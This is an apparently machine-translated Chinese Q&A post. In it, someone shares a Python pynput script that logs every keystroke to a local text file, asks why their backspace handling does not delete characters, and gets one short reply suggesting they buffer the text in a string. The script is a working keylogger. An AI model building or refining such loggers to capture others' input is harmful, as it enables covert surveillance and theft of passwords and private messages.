每当我按下退格键时,我想从txt文件中删除最后一个键,我尝试使用find('backspace')删除但似乎不起作用
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_pressed(key):
global count, keys
keys.append(key)
count += 1
if count > 0:
count = 0
writing_to_file(keys)
keys = []
def writing_to_file(keys):
with open('C:\\zzzLoggingEverything\\Logger.txt', 'a') as f:
for key in keys:
newkey = str(key).replace("'", "")
if newkey.find('backspace') > 0:
newkey[:-1]
elif newkey.find('space') > 0:
f.write(' ')
elif newkey.find('enter') > 0:
f.write('\n')
elif newkey.find('Key') == -1:
f.write(newkey)
def on_released(key):
if key == Key.esc:
return False
with Listener(on_press=on_pressed, on_release=on_released) as listener:
listener.join()
答案 0 :(得分:0)
您是否尝试过,仅对字符串进行操作,完成后将所有字符串添加到文件中?例如,在退格时,每次都删除字符串的最终字符。